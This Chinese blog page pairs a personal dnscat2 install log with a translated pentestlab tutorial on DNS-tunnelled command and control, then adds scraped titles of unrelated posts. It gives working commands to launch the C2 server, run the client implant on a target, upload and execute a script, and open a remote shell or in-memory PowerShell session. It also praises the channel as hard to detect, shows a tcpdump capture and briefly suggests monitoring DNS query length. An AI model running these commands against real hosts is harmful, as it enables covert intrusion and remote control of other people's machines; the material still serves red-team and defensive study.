通过DNS控制主机以及执行命令

我的ubuntu 安装过程
1854 mkdir dns_tunnel_tool
1855 cd dns_tunnel_tool/
1856 ls
1857 git clone https://github.com/iagox86/dnscat2.git
1858 cd dnscat2/server/
1859 bundle install
1860 sudo apt install ruby-bundler
1861 bundle install
1862 sudo apt-get install libpq-dev
1863 bundle install
1864 gem install salsa20 -v '0.1.1'
1865 sudo gem install salsa20 -v '0.1.1'
1866 ruby
1867 ruby -v
1869 sudo apt install ruby-dev
1870 sudo gem install salsa20 -v '0.1.1'
1871 bundle install
1872 ls
1873 cd ..
1874 ls
1875 cd client/
1876 ls
1877 bundle install
1878 ls
1879 make
1880 ls
server:
ruby dnscat2.rb --dns "domain=a.xxx.com" --no-cache

1881 ./dnscat --secret=d51c2caf4d4575aa86bbdd6b354bf972 a.friendskak.com
在server端执行,上传文件到client然后执行你想要的任何命令,本质上client扮演的是服务器监听操作:
客户端提示字样:New window created: 21
session -i 21 (数字和上面一致)
upload run.sh run.sh
exec "bash run.sh"
然后在你的run.sh放入希望执行的内容 输入:
shell
然后 session -i 上面命令的提示window编号
即可远程shell了 注意:执行操作前,最好先ping下看到pong再操作!

传输文件时候,客户端提示:

Session established!
Got a command: COMMAND_PING [request] :: request_id: 0x0001 :: data: RDZNALUEEREZTOWNSRLOHDOTGDFSPHVWOTXZDDKULQCYHHAEWGALWGELDQIRZOIWIPASAAFJLQSQWZOTYESKXNSENBFIUYSDQHXFUMVCYPKIWQIQTSDHKROCDEUGAIEVBASZMJQFRGLXSKIIRMGYPZNNEKSLQKXHFRGAOLNHRXALIKISBGVTPVFWFDTVGWKGNYRJPADVWOWBWGRGIAQCTBHVKUBNXDNDMCVSEPMYFXBDLXHJDLREANVWTTBJLDWR
[[ WARNING ]] :: Got a ping request! Responding!
Response: COMMAND_PING [response] :: request_id: 0x0001 :: data: RDZNALUEEREZTOWNSRLOHDOTGDFSPHVWOTXZDDKULQCYHHAEWGALWGELDQIRZOIWIPASAAFJLQSQWZOTYESKXNSENBFIUYSDQHXFUMVCYPKIWQIQTSDHKROCDEUGAIEVBASZMJQFRGLXSKIIRMGYPZNNEKSLQKXHFRGAOLNHRXALIKISBGVTPVFWFDTVGWKGNYRJPADVWOWBWGRGIAQCTBHVKUBNXDNDMCVSEPMYFXBDLXHJDLREANVWTTBJLDWR
Got a command: COMMAND_UPLOAD [request] :: request_id: 0x0002 :: filename: run2.sh :: data: 0x2d bytes
Response: COMMAND_UPLOAD [response] :: request_id: 0x0002

导语:即使在一些限制非常严格的环境下,DNS协议还是允许处理内部和外部的通讯的。所以通过dns就可以建立起目标主机和命令&控制服务器之间的通讯。

即使在一些限制非常严格的环境下,DNS协议还是允许处理内部和外部的通讯的。所以通过dns就可以建立起目标主机和命令&控制服务器之间的通讯。由于命令和数据包都是在合法的dns查询中传输的,所以很不容易被检测到。

Dnscat2是可以实现这一技术的,它可以通过dns协议创建一个命令和控制信道。这一工具使用基于C语言编写的客户端(种植体),客户端在目标机器执行,进而与服务端建立通信。通信过程中流量是进行加密传输的,并且通过预先共享的密钥进行认证。

在kali2.0中安装这一工具可以通过以下命令:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install

命令以及控制服务器可以通过下面命令进行初始化:

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

适用于windows的客户端已经编译好,你可以从https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下载。下载完之后,只需运行一条于C&C服务端进行连接的命令:

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169

在C&C服务端,红队就可以进行会话交互:

session -i 1

通过执行“help”命令会列出所有可执行的命令:

dnscat2的一些命令是可以上传和下载文件的,并且可以通过执行其他程序得到一个远程shell。

或者可以使用“shell“命令会打开另外一个会话。

以下输出会在目标机器的命令行中显示:

shell是交互式的,而且全部是通过dns进行传输的,速度而且很快。

通过调用exec命令可以远程打开程序:

exec notepad.exe

Luke Baggett 已经开发出powershell版本的客户端,并且已经在blackhillsinfosec网站中进行了介绍,这一版本的客户端的命令和已经编译好的客户端命令是相同的,不过他还添加了一些其他功能,比如交互式的powershell会话以及可以在内存中执行任何程序。

以下命令就是在目标机器执行powershell版本客户端:

PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169

还可以通过以下命令直接建立powershell会话:

exec psh

这样会创建一个新的控制台,可以执行PowerShell命令和脚本:

结论

dnscat2通过DNS进行控制和执行命令有很多优点,比如:

1.支持多个会话
2.流量加密
3.通过使用密钥防止MiTM攻击
4.从内存中直接执行powershell脚本
5.隐蔽的

检测这样的攻击是非常困难的,因为任意命令是通过合法的DNS流量进行传输的,所以应该强调监控DNS查询的长度,并允许主机只与受信任的DNS服务器进行通信。

文章翻译于https://pentestlab.blog/2017/09/06/command-and-control-dns/,如若转载,请注明原文地址: http://www.4hou.com/technology/7668.html
 
 
在没有任何数据传输下,可以看到dnscat在发送dns 心跳报文:
|client$>sudo  tcpdump -i wlo1 -nt -s  port domain
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlo1, link-type EN10MB (Ethernet), capture size bytes
IP 192.168.10.115. > 223.5.5.5.: + MX? ad5d01003313f88400a5d907e33f3f2af5.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // MX a198010033062a2fd0a284ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + CNAME? f6a601003330523007755707e44274c164.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // CNAME 7e6b010033d158b478d545ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + TXT? 6d4101003317bf4a4bc85a07e5384cf5bb.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // TXT "2cf2010033fd736a21d252ffff61cae7a9" ()
IP 192.168.10.115. > 223.5.5.5.: + TXT? 441c0100336e4b13ee2ea107e64f4b9aaf.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // TXT "f20c0100337690d71b336effff61cae7a9" ()
IP 192.168.10.115. > 223.5.5.5.: + TXT? 4c230100339c5fbda3152907e73cfa807b.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // TXT "a99b010033f2b21a38b488ffff61cae7a9" ()
IP 192.168.10.115. > 223.5.5.5.: + MX? 553501003324eb6cb42f0c07e8e6de1dd3.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // MX dbcc0100334da4c1ef3984ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + CNAME? 29900100338a6808f0b79f07e914b221c9.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // CNAME 949a0100335b2115961200ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + MX? 2a6b01003377fa81e80dda07ea27177602.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // MX 53550100336f50c7577e02ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + MX? 43be01003377c6c176827007eba97492c8.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // MX 0cbf010033b13ee136e779ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + CNAME? 0426010033e7b72e15cf0407ec978e649e.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // CNAME 785b010033669bc40db0c8ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + CNAME? 6594010033c0a84ee0828707ed686811f5.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // CNAME c39b010033bdc067cd2326ffff61cae7a9.a.xxxxx.com. ()
IP 192.168.10.115. > 223.5.5.5.: + TXT? 53850100335e9bd760b9b807eee85c8dc3.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // TXT "1a10010033f72b7200bc02ffff61cae7a9" ()
IP 192.168.10.115. > 223.5.5.5.: + TXT? 07a6010033555222e0706f07ef6562310d.a.xxxxx.com. ()
IP 223.5.5.5. > 192.168.10.115.: // TXT "c9bd0100339830e8373196ffff61cae7a9" ()

dns tunnel C&C的更多相关文章

  1. DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测

    1. DNS隧道简介 DNS隧道技术是指利用 DNS协议建立隐蔽信 道,实现隐蔽数据传输.最早是在2004年 DanKaminsky 在 Defcon大会上发布的基于 NSTX 的 DNS隐蔽 隧道工 ...

  2. python dig trace 功能实现——通过Querying name server IP来判定是否为dns tunnel

    dns tunnel确认方法,查询子域名最终的解析地址: 使用方法:python dig_trace.py  "<7cf1e56b 67fc90f8 caaae86e 0787e907 ...

  3. DNS tunnel的原理及实战

    DNS tunnel的原理及实战 摘自:http://netsec.ccert.edu.cn/zhengming/2011/11/01/%E8%BD%AC%E8%BD%BD%EF%BC%9Adns-t ...

  4. iodine免费上网——本质就是利用dns tunnel建立tcp,然后tcp proxy来实现通过访问虚拟dns0网卡来访问你的dns 授权server

    我的命令: server端: sudo iodined -P passwd -f -DD 10.0.0.100 abc.com client端(直连模式,-r表示使用xxx.abc.com的xxx来转 ...

  5. dnscapy使用——本质上是建立ssh的代理(通过dns tunnel)

    git clone https://github.com/cr0hn/dnscapy.git easy_install Scapy 服务端: python dnscapy_server.py a.fr ...

  6. DNS Tunnel判定方法

    DNS Tunnel判定方法: 1.查询DNS请求的域名是否存在备案: 2.查询DNS请求的域名情报信息(以及域名的alex排名): 3.查看相同主域名下子域名编码格式及长度:(存在Base32和Ba ...

  7. dns tunnel 使用 nishang 下载TXT里的cmd(TXT里)实现CC command+ ceye实现数据外发

    摘自:https://hk.saowen.com/a/a06909f1c57cb8452db969b3deede4151de42a7d69f4bb52c5bf027033fb91bd Powershe ...

  8. Xshell dns tunnel攻击

    该域名还会向多个超长域名做渗出,且域名采用了 DGA 生成算法,通过 DNS 解析时渗出数据. 部分生成域名如下: sajajlyoogrmkjlkmosbxowcrmwlvajdkbtbjoylyp ...

  9. “DNS隧道”盗号木马分析——类似hjack偷密码然后利用dns tunnel直传数据发送出去

    摘自:http://www.freebuf.com/articles/network/38276.html# 运行后不断监控顶端窗口,一旦发现为QQ,就弹出一个自己伪造的QQ登陆窗口,诱导用户输入密码 ...

随机推荐

  1. MVP演化论

    本文是翻译MVP: Model-View-Presenter The Taligent Programming Model for C++ and Java(Mike Potel)文章的摘要.该文介绍 ...

  2. (转载)android开发常见编程错误总结

    首页 › 安卓开发 › android开发 android开发常见编程错误总结 泡在网上的日子 / 文 发表于2013-09-07 13:07  第771次阅读 android,异常 0 编辑推荐:稀 ...

  3. 【Oracle】查询当前SCN

    介绍两种方式: 一.sys用户下: select current_scn from v$database; select dbms_flashback.get_system_change_number ...

  4. CDR中是否有图层,如何调出图层面板?

    什么是图层?如果有点PS基础的同学,应该会非常清楚这个概念,它是构成图像的重要组成单位,许多效果可以通过对层的直接操作而得到,并在当前图层操作时候不会影响到其他图层,所以在绘图的过程中有着很重要的作用 ...

  5. vc++如何创建程序-构造函数

    如果给Animal带参,则提示没有缺省的构造函数了,缺省就是不带参数的 改进:从子类当中向基类传递代参的,这样他就会给Animal传递400,300 对一个常量来调用 #include<iost ...

  6. BZOJ 1180 / 2843 LCT模板题_双倍经验

    一大早上到机房想先拍一下模板,热热身. 结果....对照着染色敲的 LCT 竟然死活也调不过去(你说我抄都能抄错) 干脆自己重新敲了一遍,10min就敲完了....... 还是要相信自己 Code: ...

  7. js给文本添加行号

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  8. hibernate中session的get和load方法的区别和联系:

    1. get:及时加载,调用到get方法时立即向数据库查询(在没有session缓存的请况). 2. load:默认使用懒加载,当用到数据的时候才向数据库查询(在没有session缓存的请况). 3. ...

  9. Python笔记18-----函数收集参数

    1.收集参数(参数前面加*): def test1(param1,*params): print(param1) print(params) 调用:test1(1,2,3,4) 结果:1 (2,3,4 ...

  10. 前端异步编程之Promise和async的用法

    传统的异步解决方案采用回调函数和事件监听的方式,而这里主要记录两种异步编程的新方案: ES6的新语法Promise ES2017引入的async函数 Generator函数(略) Promise的含义 ...